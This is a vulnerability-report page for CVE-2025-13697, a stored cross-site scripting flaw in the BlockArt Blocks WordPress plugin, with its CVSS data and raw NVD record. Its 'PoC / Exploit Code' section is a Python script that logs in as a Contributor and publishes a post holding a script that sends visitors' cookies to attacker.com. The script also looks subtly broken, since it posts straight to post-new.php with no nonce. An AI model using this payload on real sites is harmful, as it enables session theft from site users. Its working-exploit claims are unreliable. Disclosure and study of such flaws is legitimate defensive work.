Security Vulnerability Report
中文
CVE-2025-13697 CVSS 6.4 MEDIUM

CVE-2025-13697

Published: 2025-12-02 03:16:16
Last Modified: 2026-04-15 00:35:42

Description

The BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘timestamp’ attribute in all versions up to, and including, 2.2.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BlockArt Blocks WordPress Plugin <= 2.2.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13697 PoC - BlockArt Blocks Stored XSS # Target: WordPress site with BlockArt Blocks plugin <= 2.2.13 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'contributor_user' password = sys.argv[3] if len(sys.argv) > 3 else 'user_password' session = requests.Session() # Step 1: Login as Contributor user login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed') sys.exit(1) print('[+] Login successful') # Step 2: Create post with XSS payload in timestamp attribute post_url = f'{target}/wp-admin/post-new.php' xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' post_data = { 'post_title': 'XSS Test Post', 'content': f'<!-- wp:blockart-blocks/timestamp-block {{"timestamp":"{xss_payload}"}} -->Test<!-- /wp:blockart-blocks/timestamp-block -->', 'post_status': 'publish' } resp = session.post(post_url, data=post_data) if resp.status_code == 200: print('[+] Malicious post created successfully') print(f'[+] XSS payload stored in timestamp attribute') print(f'[+] Payload: {xss_payload}') print('[+] Any user viewing this post will execute the injected JavaScript')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13697", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:15.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘timestamp’ attribute in all versions up to, and including, 2.2.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3404884/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b91364fa-7046-427f-84ee-6a36d49bb80f?source=cve", "source": "[email protected]"}]}}